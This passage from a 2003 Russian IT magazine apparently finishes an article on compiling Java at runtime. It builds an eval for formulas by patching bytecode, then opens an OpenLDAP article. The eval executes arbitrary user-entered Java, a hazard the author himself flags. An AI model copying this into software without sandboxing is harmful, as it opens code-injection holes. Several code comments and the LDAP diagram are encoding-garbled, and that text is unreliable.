
Метод compile не был статическим, т.е. нуждался в создании экземпляра класса. Также отсутствовала версия метода, позволяющая указать собственный поток для сообщений компилятора. В версии Java SDK 1.3 для компиляции исходных текстов Java обычно использовался другой класс, sun.tools.javac.Main (расположенный все в том же архиве tools.jar). Этот класс также позволяет указать свой поток для сообщений компилятора. Причем этот класс полностью сохранил свой интерфейс при переходе от версии SDK 1.3 к SDK 1.4. Класс sun.tools.javac.Main имеет нестатический синхронизованный метод compile: public synchronized boolean compile( String[] p0)

Поток для сообщений компилятора указывается в качестве первого параметра конструктора: public Main( OutputStream p0, String p1)

(не PrintWriter, а более «архаичный» OutputStream). Смысл второго параметра конструктора я так и не выяснил, но найденные мной в Интернете примеры использования данного класса передавали в качестве p1 строку «javac». Код возврата утилиты javac возвращается отдельным методом: public int getExitStatus()

Факт успешности компиляции можно также узнать по boolean-результату метода compile (false означает неудачу). Но и этот класс, несмотря на сохранение интерфейса, в действительности изменил свое поведение при переходе от версии SDK 1.3 к SDK 1.4. Во-первых, он был объявлен как устаревший («deprecated»). Конечно, предупреждение компилятора,

66

появляющееся при попытке использовать данный класс («warning: sun.tools.javac.Main in sun.tools.javac has been deprecated»), можно и проигнорировать. Но фирма Sun почему-то решила добавлять аналогичное предупреждение в любое сообщение, выдаваемое самим компилятором sun.tools.javac.Main! Если попытаться использовать sun.tools.javac.Main для компиляции любого, даже совершенно корректного Java-файла, в любом случае будет выдано предупреждение «sun.tools.javac.Main has been deprecated». Чтобы избавиться от него, sun.tools.javac.Main придется использовать с ключом «-nowarn», но тогда вообще теряется возможность получать и анализировать предупреждения компилятора. Во-вторых, в версии Sun Java SDK 1.4 компилятор sun.tools.javac.Main попросту не всегда адекватно работает. На простых тестах это трудно обнаружить. Но когда я попытался скомпилировать с помощью этого компилятора все исходные тексты большого Java-проекта, обнаружилось, что некоторые сложные, но вполне корректные классы, прекрасно компилируемые «штатными» компиляторами и классом com.sun.tools.javac.Main, не компилируются с помощью sun.tools.javac.Main. В частности, компилятор sun.tools.javac.Main «сломался» на некоторых нетривиальных случаях перегрузки методов с аргументами примитивных типов, а также при попытке объявить метод toString() у некоторого вложенного класса. Это очень похоже на внутреннюю ошибку компилятора, которую фирма Sun не сочла нужным исправлять в устаревшем наборе классов. Есть также мелкие отличия в самом синтаксисе языка Java, понимаемом компиляторами sun.tools.javac.Main и стандартным com.sun.tools.javac.Main. (Ошибка, о которой ранее шла речь, не связана с этими мелкими отличиями – там действительно имела место явная ошибка компилятора.) Например, sun.tools.javac.Main разрешает импортировать (предложением import) конкретные классы, расположенные в корневом пакете – т.е. непосредственно в корне одного из каталогов, перечисленных в путях поиска CLASSPATH. Стандартный компилятор в современных версиях Java не допускает такого экзотического импорта – все импортируемые классы должны лежать внутри какого-либо пакета. Также можно заметить, что в версии Sun Java SDK 1.4 компилятор sun.tools.javac.Main работает примерно вдвое медленнее, чем com.sun.tools.javac.Main. Все сказанное означает, что использование для компиляции Java-файлов конкретных классов типа com.sun.tools.javac.Main или sun.tools.javac.Main – рискованное занятие. Соответствующий код придется заново тестировать при выпуске каждой новой версии Java SDK и, возможно, в какой-то момент его придется радикально переписывать. В случае com.sun.tools.javac.Main лично мне риск не кажется слишком большим. Похоже, что в этом классе фирма Sun наконец «довела до ума» решения, существовавшие в предыдущих версиях Java в этом же классе и в sun.tools.javac.Main. Трудно представить, чтобы возможности класса com.sun.tools.javac.Main в какой-то версии исчезли или радикально поменялись. Скорее всего, этот


программирование класс либо сохранится, либо превратится в легальный документированный класс, например, в пакете java.*, тогда необходимые изменения будут минимальны. Если необходимо надежное документированное решение, то на сегодня единственный доступный вариант – вызвать внешнюю утилиту javac одним из методов Runtime.getRuntime().exec(...). Для этого, правда, эту утилиту нужно еще найти в файловой системе. Если данная утилита входит в состав дистрибутива и инсталлируется вместе с Java-приложением, то инсталлятор может сам позаботиться о том, чтобы полный путь к утилите javac передавался в Java-программу. Если же приложение дожно работать под управлением «чужого» Java SDK, инсталлируемого пользователем независимо от приложения, то можно поискать файлы: bin/javac.exe (случай Microsoft Windows); bin/javac (случай Unix/Linux); bin/sparcv9/javac (случай Solaris SPARC) в каталоге System.getProperty(«java.home») и содержащем его каталоге. (Чаще всего System.getProperty(«java.home») соответствует подкаталогу jre/ в главном каталоге Sun Java SDK. Соответственно, утилита javac расположена в подкаталоге bin/ содержащего его каталога.) Для получения сообщений компилятора в данном случае можно использовать стандартную технику – чтение из потоков, возвращаемых методами getInputStream() и getErrorStream() объекта Process, полученного в результате обращения к методу Runtime.getRuntime().exec(...). Вот как примерно это выглядит: Process p= Runtime.getRuntime().exec( ìàññèâ_àðãóìåíòîâ); /* - ïåðâûé ýëåìåíò â ìàññèâå äîëæåí ñîäåðæàòü ïîëíîå èìÿ ôàéëà óòèëèòû javac, îñòàëüíûå ýëåìåíòû ïàðàìåòðû ýòîé óòèëèòû */ final new final new final final

InputStreamReader is= InputStreamReader(p.getInputStream()); InputStreamReader es= InputStreamReader(p.getErrorStream()); StringBuffer out= new StringBuffer(); StringBuffer err= new StringBuffer();

new Thread() { public void run() { try { char[] buf= new char[32768]; int len; while ((len=is.read(buf,0,buf.length))>=0) { out.append(buf,0,len); } } catch (Exception e) { e.printStackTrace(); } } }.start(); new Thread() { public void run() { ... (àíàëîãè÷íûé öèêë äëÿ es è err) } }.start(); int result= p.waitFor(); /* - äîæèäàåìñÿ çàâåðøåíèÿ óòèëèòû javac è ïîëó÷àåì åå êîä çàâåðøåíèÿ */ if (result!=0) { /* - ïðîèçîøëà êàêàÿ-òî îøèáêà */ àíàëèçèðóåì è, âîçìîæíî, ïîêàçûâàåì ïîëüçîâàòåëþ ñîîáùåíèÿ êîìïèëÿòîðà out è err }

№2(3), февраль 2003

Обратите внимание: чтение потоков вывода и ошибок в отдельных параллельных потоках совершенно необходимо. Если этого не сделать, то вызов метода waitFor() может привести к зависанию в случае, когда внешняя программа выводит хоть что-нибудь в свои потоки вывода и ошибок.

Как скомпилировать исходный текст Java, заданный в виде строки Итак, мы научились вызывать компилятор Java. Таким образом можно скомпилировать любой Java-файл – достаточно следовать инструкциям по использованию компилятора javac. Но что делать, если у нас нет готового Javaфайла, размещенного где-то в файловой системе? Допустим, мы располагаем просто исходным текстом Java-программы в виде строки типа String – загруженным, скажем, из базы данных, или сгенерированным автоматически. Как скомпилировать такой текст? Очевидно, нужно создать некоторый временный файл с расширением .java, записать туда исходный текст, после чего вызвать компилятор. Эти действия далеко не так просты, как кажется на первый взгляд. Рассмотрим это подробнее. В стандартных библиотеках Java есть средства для создания временных файлов – это 2 статических метода createTempFile класса File, создающие файл с уникальным «случайным» именем. К сожалению, воспользоваться ими в данном случае невозможно. Новый Java-файл, создаваемый для сохранения заданного исходного Java-кода, не может иметь произвольное имя – его имя обязательно должно совпадать с именем public-класса, объявленного в этом исходном коде (если, конечно, таковой имеется). Кроме того, нужен какой-то каталог, куда будут записаны .classфайлы, полученные в результате компиляции. Все это означает, что нужна специальная функция, создающая временный подкаталог – так же, как File.createTempFile создает временный файл. Внутри этого подкаталога можно создать серию вложенных каталогов, соответствующую пакету, в котором должен располагаться компилируемый класс. Затем в самый внутренний каталог нужно записать Java-файл с исходным текстом, присвоив этому файлу имя, соответствующее имени компилируемого класса. Эту же структуру каталогов можно использовать для размещения результирующих .class-файлов, передав соответствующие инструкции компилятору javac. Написать функцию создания временного каталога не очень сложно. Достаточно использовать в качестве образца реализацию File.createTempFile в исходном тексте класса java.io.File. Основная идея – циклически генерировать более или менее случайные имена подкаталогов внутри каталога временных файлов операционной системы, для каждого подкаталога пытаться его создать (методом File.mkdir) и выйти из цикла, как только очередная попытка будет удачной (mkdir вернет true). Цикл генерации имен и создания подкаталога нужно синхронизовать относительно какого-либо глобального объекта точно так же, как это сделано в методе File.createTempFile. Чтобы найти умолчательный каталог временных файлов операционной системы, можно обратиться к переменной среды: System.getProperty("java.io.tmpdir")

67


программирование В версии Sun Java SDK 1.4.1 эта переменная является документированной (в отличие от Sun Java SDK 1.3). Возникает также проблема автоматического удаления созданного временного подкаталога при выходе из Javaпрограммы. В случае файла эта задача решалась бы методом deleteOnExit класса File. Но непустые подкаталоги этот метод удалять не умеет. Самое простое решение – написать функцию, рекурсивно удаляющую созданный временный каталог вместе со всеми файлами и подкаталогами, и вызвать ее в потоке, зарегистрированном методом Runtime.getRuntime().addShutdownHook(...). Следующий вопрос, требующий некоторого внимания – как правильно записать Java-файл с исходным текстом. Исходный текст Java (представленный по условию в виде строки String) может содержать произвольные символы Unicode, а компилятор javac обычно используется с ASCII-файлами. Здесь есть два решения. Во-первых, начиная с версии Sun Java SDK 1.4, компилятор javac «понимает» дополнительный параметр «-encoding». Можно, например, сохранить файл в кодировке «UTF-8» и указать такую же кодировку в качестве параметра «-encoding». Чтобы сохранить текст в файле с заданной кодировкой, используется объект java.io.Writer, создаваемый вызовом: OutputStreamWriter writer= new OutputStreamWriter( new FileOutputStream(file),encoding)

Во-вторых, компилятор javac – и в SDK 1.4, и в предыдущих версиях – поддерживает специальный способ кодирования Unicode-символов. А именно, цепочка символов вида \uNNNN, где N – шестнадцатеричные цифры, в любом месте Java-файла воспринимается компилятором как Unicode-символ с кодом NNNN. Можно перед записью Javaфайла заменить все символы с кодами ≥128 такими цепочками и записать полученный «чистый» ASCII-файл. После того как исходный текст скомпилирован, если компилятор сообщил об отсутствии ошибок (нулевой код возврата) и если параметры компилятора были заданы правильно (точнее, параметр «-d»), можно ожидать, что в структуре каталогов появятся все необходимые .classфайлы. Сколько их появится, заранее сказать невозможно (без полного синтаксического анализа исходного кода). Так, каждый анонимный класс породит отдельный .classфайл. Но, по крайней мере, должен появиться .class-файл, соответствующий главному public-классу, объявленному в исходном тексте (если, конечно, исходный текст не состоял из описаний одного или нескольких не-public классов). В качестве последней «страховки» имеет смысл проверить существование этого .class-файла – его отсутствие говорит о неверных настройках компилятора. Затем остается только загрузить сгенерированный .classфайл. Для этого нужен собственный загрузчик классов – наследник ClassLoader, умеющий загружать классы из нестандартного каталога (в нашем случае из временного каталога, созданного внутри каталога временных файлов операционной системы). Эта задача подробно рассматривалась во второй части статьи: «ClassLoader – скрытые возможности». Здесь мы не будем на ней останавливаться. В завершение стоит добавить, что скомпилированные

68

и загруженные классы имеет смысл кэшировать в оперативной памяти с помощью таблицы HashMap, ставящей каждому исходному тексту в соответствие результирующий объект Class – загруженный Java-класс. Если нужно скомпилировать исходный текст, идентичный тексту, который когда-то уже компилировался, то в большинстве случаев нет смысла компилировать его повторно – достаточно извлечь готовый класс из кэша.

Eval на Java: интерпретатор формул Теперь мы располагаем чрезвычайно мощным инструментом. Мы умеем компилировать произвольные исходные тексты Java, заданные в виде строковой переменной, и загружать получаемые при этом классы. Обычно такую технику называют самопрограммированием. Эта возможность традиционно присутствует в медленных интерпретируемых скриптовых языках типа JavaScript или Perl, но отсутствует в высокоэффективных компилируемых языках (к которым относится и Java), исключая разве что Ассемблер. Фактически, мы снабдили язык Java самопрограммированием. Но пока что пользоваться этой техникой не очень удобно. В скриптовых языках типа JavaScript или Perl самопрограммирование выглядит крайне просто. Например, в JavaScript можно написать так: var var var var

a= 23; b= 45; formula= "a+b"; result= eval(formula);

Оператор eval исполняет переданный ему фрагмент JavaScript-кода так, как если бы он непосредственно был вставлен в общий JavaScript-код вместо самого оператора eval. Мы попробуем реализовать аналогичную технику в рамках Java. Java – не JavaScript, и в точно таком же виде реализовать функцию eval здесь вряд ли возможно. В качестве ближайшего Java-аналога eval, мы поставим следующую задачу. Требуется реализовать статический метод некоторого класса-библиотеки (допустим, Evaluator), имеющий следующий интерфейс: public Object eval( String javaExpression, Object context) throws Exception

В качестве javaExpression передается произвольное выражение Java, например то же «a+b». В качестве context передается объект, предоставляющий «пространство имен». Это значит, что в выражении javaExpression должна быть возможность без дополнительных уточнений обращаться ко всем public- и, может быть, protected-членам объекта context. Так, в случае формулы «a+b» объект context должен содержать числовые (или строчные) поля a и b. В своем результате eval возвращает объект Java, получаемый в результате интерпретации выражения javaExpression. Приведенный выше пример на JavaScript для Java выглядел бы примерно так:


программирование public static class Context { public int a,b; } ... public void ÍåêîòîðûéÌåòîä() { ... Context c= new Context(); c.a= 23; c.b= 45; String formula= "new Integer(a+b)"; Integer result= (Integer)Evaluator.eval(formula,c); ... }

Язык Java по обыкновению создает затруднения при попытке работать с примитивными типами на общих основаниях – их приходится заменять соответствующими классами-оболочками. Специально для упрощения работы с примитивными типами имеет смысл дополнить основной метод eval версиями evalInt, evalLong, evalFloat, evaDouble, evalBoolean, возвращающими результат соответствующего примитивного типа. Тогда последние 2 строки примера выглядели бы проще: ... String formula= "a+b"; int result= Evaluator.evalInt(formula,c); ...

Наконец, если считать, что наш пример является частью реализации нестатического метода некоторого класса, то пример можно было бы упростить еще больше: public class ÍåêîòîðûéÊëàññ { ... public int a,b; public void ÍåêîòîðûéÌåòîä() { ... a= 23; b= 45; String formula= "a+b"; int result= Evaluator.evalInt(formula,this); ... } }

Это практически так же удобно, как и eval в скриптовых языках. Как решить поставленную задачу – реализовать описанные методы eval, evalInt и прочие? Существует достаточно элементарное частичное решение. Потребуем, чтобы все обращения к членам объекта context в формуле javaExpression производились не напрямую, а через некоторую дополнительную переменную – ссылку на объект context. Формула в этом случае приобретает примерно такой вид: «c.a+c.b» (имя ссылки «c» могло бы быть дополнительным аргументом метода eval). В этом варианте задачу решить легко. Конструируем «на лету» текст Java-класса: import java.io.*; import java.util.*; êàêèå-íèáóäü åùå ïîëåçíûå import, êîòîðûå ìîãóò ïðèãîäèòüñÿ âíóòðè ôîðìóëû public class ___ExpressionNNN { public static int ___performEval( èìÿ_êëàññà_context c) { int returnValue= òåêñò_ôîðìóëû;

№2(3), февраль 2003

return returnValue; } }

Вместо NNN подставляется некоторый уникальный индекс – свой для каждого текста формулы. (Если разные формулы будут интерпретироваться с помощью разных классов, то эти классы можно будет кэшировать и не компилировать повторно – смотри о кэшировании в конце предыдущего раздела.) Вместо «имя_класса_context» подставляется context.getClass().getName(), вместо «текст_формулы» – значение javaExpression. Тип результата int метода ___performEval и тип переменной returnValue соответствуют варианту метода evalInt. Другие варианты – eval, evalDouble и прочие – должны использовать другой тип (соответственно Object, double, и т. д.). Имя «c» аргумента ___performEval – это имя, под которым объект context будет доступен внутри формулы. Оно может быть дополнительным аргументом методов eval, evalInt, ... Компилируем полученный текст класса и загружаем скомпилированный класс, как описано в предыдущих разделах. Затем средствами отражений вызываем его статический метод ___performEval, передавая ему в качестве аргумента наш объект context, и возвращаем полученный результат. Задача решена. Дополнительная переменная returnValue позволяет передавать в качестве формулы javaExpression фрагменты кода, состоящие более чем из одного оператора Java. В этом случае по умолчанию результатом вызова eval окажется результат первого оператора, но всегда можно будет в последнем операторе написать что-нибудь вроде returnValue= ðåçóëüòàò_íàøèõ_âû÷èñëåíèé;

и тем самым вернуть другой результат. Приведенное решение, разумеется, неизящно. В формуле приходится ссылаться на члены класса-контекста через громоздкую запись типа «c.a». Попробуем избавиться от явной ссылки «c.». Язык Java разрешает ссылаться непосредственно, без дополнительных уточнений, на члены текущего класса, его предков, члены класса, по отношению к которому текущий является вложенным, и члены предков этого класса. Если класс, которому принадлежит метод ___performEval, унаследовать от класса context.getClass().getName() или вложить в другой класс, унаследованный от context.get-Class().getName(), то к членам этого предка можно будет обращаться из нашей формулы непосредственно. Метод ___performEval, разумеется, нужно будет сделать нестатическим. Таким способом формулу типа «a+b» скомпилировать удастся – синтаксически все будет соблюдено. Но как добиться, чтобы a и b ссылались именно на члены данного экземпляра context, переданного в качестве аргумента в метод eval (или evalInt, evalDouble, ...)? Все, что можно сделать «легально» для исполнения формулы – создать новый экземпляр для нашего нового класса (или по экземпляру для серии вложенных классов) и указать именно этот новый экземпляр при вызове метода ___performEval через отражения. Виртуальная машина Java не по-

69


программирование зволит «подменить» экземпляр нового временного класса объектом context, так же context является предком нашего нового объекта, и его нельзя использовать там, где декларировано использование объекта-потомка. Приходит в голову банальное решение – перед вызовом ___performEval скопировать все поля объекта context в заново созданный экземпляр наследника context.getClass().getName(), а в конце скопировать все поля обратно (на случай, если формула их изменяла). Все это в принципе осуществимо средствами отражений, но вряд ли такое решение можно назвать качественным. Если полей много, такое копирование может занять много времени. Кроме того, в сложных случаях такое поведение попросту может оказаться ошибочным. Представьте себе, что некоторый внешний поток постоянно наблюдает за состоянием экземпляра context, и каждое изменение его состояния, в том числе внутри формулы (в результате вызова методов context), должно быть немедленно обнаружено. Очевидно, при описанном подходе изменения вообще обнаружены не будут. Все изменения будут произведены с другим объектом – копией context, а в момент присваивания новых полей полям экземпляра context наш метод eval «не будет знать», как сообщить об этих изменениях. Хотелось бы попытаться все-таки получить доступ непосредственно к экземпляру context. Решение существует. Для этого нам придется «обмануть» компилятор – создать .class-файл, который не может быть создан «законным» компилятором javac. Рассмотрим следующий код Java: import java.io.*; import java.util.*; êàêèå-íèáóäü åùå ïîëåçíûå import, êîòîðûå ìîãóò ïðèãîäèòüñÿ âíóòðè ôîðìóëû public class ___ExpressionNNN extends èìÿ_êëàññà_context { public class ___Performer { public int ___performEval() { int returnValue= òåêñò_ôîðìóëû; return returnValue; } } }

Все, как в прошлый раз, но теперь добавился вложенный класс ___Performer. Метод ___performEval теперь нестатический и не обладает аргументом, а внешний класс ___ExpressionNNN унаследован от context.getClass().getName(). Во что компилируется такой исходный код? В результате компиляции получается 2 .class-файла – ___ExpressionNNN.class и ___ExpressionNNN$___Performer.class. Рассмотрим их внимательно с помощью какого-нибудь дизассемблера, например утилиты javap (с ключами -private и -c). Класс ___ExpressionNNN здесь – «пустышка». Он не содержит ни одного члена, кроме пустого (автоматически добавленного) конструктора. Этот класс – наследник context.getClass().getName(). Класс ___Performer имеет следующий вид: public class ___ExpressionNNN$___Performer {

70

// Fields private final ___ExpressionNNN this$0; // Constructors public ___ExpressionNNN$___Performer( ___ExpressionNNN p0) { ðåàëèçàöèÿ: êîïèðóåò p0 â this$0 } // Methods public int ___performEval() { ðåàëèçàöèÿ, ñîäåðæàùàÿ ñêîìïèëèðîâàííûé òåêñò íàøåé ôîðìóëû: äëÿ îáðàùåíèé ê a,b è äðóãèì ÷ëåíàì context èñïîëüçóåòñÿ ññûëêà this$0 } }

Обратите внимание на поле this$0. Это «скрытый механизм» языка Java, позволяющий добираться из вложенных нестатических классов до текущих экземпляров содержащих их внешних классов. Заметьте: хотя идентификатор this$0 является корректным с точки зрения синтаксиса Java, компилятор javac не позволит объявить поле с таким именем в обычном классе – идентификатор «зарезервирован для внутреннего использования». Вызов ___performEval через отражения выглядит следующим образом: Вначале нужно создать экземпляр класса ___ExpressionNNN (обычным вызовом Class.newInstance). Затем нужно отыскать (единственный) конструктор класса ___ExpressionNNN$___Performer и вызвать его (через java.lang.reflect.Constructor), передав в качестве аргумента ссылку на созданный экземпляр ___ExpressionNNN. Будет создан экземпляр ___ExpressionNNN$___Performer. Затем нужно обычным образом (через java.lang.reflect.Method) отыскать и вызвать метод ___performEval, передав методу invoke в качестве параметра ссылку на только что созданный экземпляр ___ExpressionNNN$___Performer. Если бы на шаге 2 удалось вместо нового экземпляра ___ExpressionNNN «подсунуть» конструктору наш экземпляр context, задача была бы решена. Метод ___performEval работал бы (через ссылку this$0) с нашим экземпляром, т.е. выполнил бы нашу формулу в требуемом контексте. Как уже говорилось выше, виртуальная машина Java не допускает передачи в качестве аргумента типа ___ExpressionNNN экземпляра его предка context.getClass().getName(). Но можно слегка изменить класс ___Performer. Действительно, если в классе ___Performer везде заменить имя класса ___ExpressionNNN на context.getClass().getName() (прежде всего тип поля this$0 и тип аргумента конструктора), то этот класс останется с точки зрения виртуальной машины вполне корректным. Класс ___ExpressionNNN не добавляет к своему предку ни одного нового члена, к которому метод ___performEval мог бы попытаться обратиться через this$0. При работе с таким скорректированным классом через отражения на шаге 2 требования к аргументу конструктора были бы слабее: можно было бы передать ссылку на экземпляр класса context.getClass().getName(), в частности на наш экземпляр context.


программирование Такую коррекцию невозможно сделать «легальным» путем, изменяя исходный текст и вызывая компилятор javac. Стандартный компилятор при генерации вложенного класса непременно придаст ссылке this$0 точный тип того класса, в который вложен данный. Но можно скорректировать уже скомпилированный .class-файл ___ExpressionNNN$___Performer.class. Это не так сложно, как кажется. Формат .class-файлов спроектирован очень грамотно и удобен для наших целей. В начале файла идет так называемый «пул констант», в котором собраны все символьные идентификаторы (в кодировке UTF-8), в том числе имена всех упоминаемых классов. Весь .class-файл, в частности пул констант, организован в виде последовательности секций примерно такого вида: код_типа_секции содержимое_фиксированной_длины или код_типа_секции длина_секции содержимое_переменной_длины Если в произвольной секции изменить содержимое и соответствующим образом подправить длину секции (размер файла при этом тоже поменяется), то файл сохранит свою корректность. В .class-файле не встречаются прямые смещения от начала файла или длины в байтах каких-то фрагментов файла, за исключением длин элементарных секций. Имя класса ___ExpressionNNN может встречаться внутри файла ___ExpressionNNN$___Performer.class в виде строковых констант трех видов: непосредственно строка «___ExpressionNNN» (используется не всеми компиляторами); строка «L___ExpressionNNN;» – внутреннее имя типа ___ExpressionNNN: именно таким образом виртуальная машина «именует» классы «внутри себя» (для примитивных типов и массивов используются другие обозначения); строка «(L___ExpressionNNN;)V» – сигнатура конструктора или любого другого метода с единственным аргументом типа ___ExpressionNNN. Если бы наш класс ___ExpressionNNN был вложен внутрь какого-либо некорневого пакета (в наших примерах он размещается в корневом пакете), то в его полном имени нужно было бы заменить точки символами “/”. Строковые константы, в частности перечисленные выше, представлены в пуле констант в виде следующих цепочек байтов: 1 байт: 1 (код строкового типа); 2 байта: длина length строковой константы в кодировке UTF-8 (сначала старший байт, потом младший); length байтов: содержимое строковой константы в кодировке UTF-8. Все, что нам нужно сделать – загрузить файл ___ExpressionNNN$___Performer.class в виде массива байтов, отыскать в нем все такие цепочки байтов для строк «___ExpressionNNN», «L___ExpressionNNN;», «(L___ExpressionNNN;)V» и заменить их соответствующими цепочками

№2(3), февраль 2003

для строк «XXXX», «LXXXX;», (LXXXX;)V». Здесь XXXX – полное имя класса context, в котором точки (разделители имени пакета) заменены знаком “/”: context.getClass().getName().replace('.','/')

Полученный новый массив байтов (другой длины) нужно записать обратно в файл ___ExpressionNNN$___Performer.class. Если имя ___ExpressionNNN не используется в Javaприложении ни для каких других целей – для максимальной уверенности можно заменить его чем-нибудь вроде ___Expression_Asj5Sjl3_NNN, – то полученный .class-файл будет вполне корректным. Остается загрузить его, создать экземпляр, передав конструктору в качестве аргумента наш объект context, и выполнить метод ___performEval(). Задача решена полностью. Возможно, в формулах имеет смысл открыть непосредственный доступ (без уточняющего имени класса) к какому-либо набору стандартных функций или констант. Например, в математических формулах естественнее смотрелась бы запись «sin(a+PI/4)», а не «Math.sin(a+Math.PI/4)». Для этого достаточно автоматически добавить желаемый набор функций и констант во вложенный класс ___Performer. Некоторое неудобство приведенного решения связано с тем, что класс объекта context обязан быть public, а в случае локального класса – public static. В частности, недопустимо использовать анонимные классы или локальные классы, объявленные внутри методов. В противном случае нам попросту не удастся унаследовать от него класс ___ExpressionNNN, расположенный, вообще говоря, в совершенно другом пакете (в наших примерах – в корневом пакете). Очевидно также, что для достижения хорошей эффективности все скомпилированные формулы необходимо кэшировать, чтобы одна и та же формула не компилировалась повторно. Имеет смысл для каждой пары «формулы, экземпляр context» сохранить (в таблице HashMap) готовый объект java.lang.reflect.Method для метода ___performEval и экземпляр вложенного класса ___Performer, чтобы при повторном обращении к eval осталось просто вызвать метод invoke. Также есть смысл проверить, что одна и та же формула с одним и тем же context вызывается повторно, и в этом случае перейти на особо быструю ветку – не обращающуюся к таблице HashMap. Подобная оптимизация позволяет достичь чрезвычайно высокого быстродействия, недостижимого для интерпретируемых скриптовых языков: накладные расходы будут укладываться в доли микросекунды (на компьютерах класса Pentium-III 800). Идея описанного выше изящного решения принадлежит моему коллеге, Алексею Вылегжанину (anv@siams.com). Разумеется, это решение (в отличие от первого варианта, требующего использования в формулах ссылки «с.»), не является стопроцентно переносимым. Оно зависит от особенностей компилятора javac, которые в принципе могут измениться в следующей версии Java. Например, компилятору ничто не мешает вставить в класс ___Performer явную проверку, что поле this$0 принадлежит нужному типу, причем сформировать имя типа динамически путем сложения строк «___Expres» и «sionNNN». Тогда скорректиро-

71


программирование

Заключение

«на лету». Эти технологии позволяют профессионально решать по-настоящему сложные задачи, а также могут быть чрезвычайно удобны и в небольших утилитах. Я сознательно не стал приводить Java-реализацию большинства из описанных выше технологий. Кроме того что это было бы чрезвычайно громоздко, мне кажется, что подобные задачи лучше разработчику решать самостоятельно, если только готовое решение не существует в виде стандартизованных и общеизвестных библиотек фирмы Sun или другой фирмы, заслуживающей не меньшего доверия. Разумеется, я располагаю законченной библиотекой, воплощающей все приведенные идеи, в том числе динамическую загрузку классов, описанную во второй части статьи. Но я никоим образом не берусь утверждать, что моя библиотека достаточно грамотно реализована и хорошо протестирована – настолько же, насколько это можно сказать о библиотеках фирмы Sun. Если вы реализуете необходимые функции самостоятельно, то, по крайней мере, вы сможете достаточно свободно отлаживать их и совершенствовать, что было бы гораздо труднее сделать с чужим кодом. При написании статьи были использованы официальные материалы фирмы Sun, приведенные на сайте http:// java.sun.com, а также следующие книги: Арнолд К., Гослинг Дж., Холмс Д. Язык программирования Java. Издательский дом «Вильямс», Москва – С.-Петербург – Киев, 2001. Вебер Дж. Технология Java(TM) в подлиннике. «BHV – Санкт-Петербург», С.-Петербург, 1997.

Нашу экскурсию по миру отражений можно считать законченной. Мы рассмотрели основные задачи по управлению классами: доступ к произвольным классам и их членам, загрузку классов из произвольного источника и, наконец, компиляцию новых классов из Java-файлов либо

Все приведенные в статье фрагменты кода я старался тщательно тестировать. Если вы обнаружите в моих текстах ошибки или неточности, а также в случае любых вопросов буду рад вашим письмам.

ванный нами класс работать не будет. Кажется маловероятным, что подобное произойдет. Но на всякий случай описанное решение желательно заново тестировать с каждой новой версией Sun Java SDK. Технология интерпретации формул на Java может оказаться чрезвычайно полезной в сложных приложениях, гибко настраиваемых пользователем. Скажем, процедура построения графика или статистического анализа может принимать на вход не только массив чисел, но и некоторую набранную пользователем аналитическую формулу. При заполнении сложной формы с множеством параметров можно разрешить в некоторых полях указывать формулы, оперирующие другими полями формы (например, «предыдущее_поле + 1»). Можно снабдить пользователя простейшим формульным калькулятором, который всегда под рукой и обладает функциями, специфичными для данного приложения. Единственной серьезной проблемой может оказаться безопасность. Если разрешить пользователю Java-приложения самостоятельно писать формулы, исполняемые системой, то пользователь сможет, вообще говоря, выполнить любой законный оператор языка Java – скажем, добраться до содержимого диска. Если это недопустимо, то придется разрабатывать специальный менеджер безопасности («песочницу») для исполнения формул или жестко контролировать текст формулы.

72



безопасность

OPENLDAP И ЗАЩИТА ДАННЫХ

В настоящее время при администрировании крупных сетей часто используется система LDAP. Но документации на русском по ней практически нет, а документация на английском очень уж «размазана». Поэтому я решил полностью описать механизмы настройки сервера OpenLDAP и его взаимодействия с уже существующими сетевыми сервисами...

ВСЕВОЛОД СТАХОВ При администрировании сети на определённом этапе возникает проблема централизованного контроля аутентификации. Это особенно актуально для крупных сетей (100 и более пользователей). Раньше единственным приемлемым выходом в такой ситуации была установка Novell Netware как центрального сервера или службы NIS, если сеть основана на *nix машинах, что бывает довольно редко. У Netware (версии 4 и старше) существует очень грамотный механизм NDS (служба директорий Novell), позволяющий создать единое дерево сети, в котором каждый компонент сети является объектом службы директорий. Причём каждый объект обладает определёнными параметрами для его идентификации. Например, объект «пользова-

74

тель» имеет своё имя, телефон, отдел, служебное положение, скрипт для входа в систему. Каждый пользователь обладает определёнными правами, некоторые из которых наследуются из прав группы, которой данный пользователь принадлежит. При входе в систему каталогов пользователь получает доступ только к «своим» файлам. При этом сама система каталогов может находиться на нескольких серверах. Конечно, здесь очень много нюансов и очень много полезных возможностей, но я перейду сразу же к основной теме: службе директорий, работающей в TCP/IP-сетях – LDAP (Lightweight Directory Access Protocol).

Теория и терминология Раньше в *nix существовала только

одна возможность централизованной аутентификации – службы NIS, работающие через UDP. LDAP построен по объектно-ориентированному принципу и позволяет с лёгкостью добавлять и изменять объекты при помощи файлов схем. Кроме этого, LDAP обладает большими возможностями в плане структурированности и работы с клиентами различных платформ. Множество приложений поддерживают LDAP через PAM, но об этом далее. На основе LDAP легко построить гетерогенные сети, кроме этого, информация об объектах хранится в древовидной структуре. Например, вот как может выглядеть дерево для крупной организации, разбросанной по нескольким странам с дочерними фирмами:


безопасность ROOT

Ñòðàíà=C

Ñòðàíà

Îðãàíèçàöèÿ=O

Îðãàíèçàöèÿ

Îòäåë=OU

Îòäåë

Ìåñòîðàñïîëîæåíèå=L

Îòäåë

ìåñòî

Ïåðñîíà

ìåñòî

Îòäåë

ìåñòî

Ïåðñîíà

ìåñòî

ìåñòî

Ïåðñîíà

Ïåðñîíà

Ïåðñîíà Ãëàâíûé

Ãëàâíûé Ãëàâíûé

Ãëàâíûé Îáüåêòû íèæíåãî óðîâíÿ Ñåðâåð

Ãëàâíûé

Ïåðñîíà

Ãëàâíûé

Ñåðâåð

Ïåðñîíà

Ñåðâåð

Ïðèíòåð

Ïðèíòåð Êîìïû

Êîìïû

Êîìïû

Êîìïû

Êîìïû

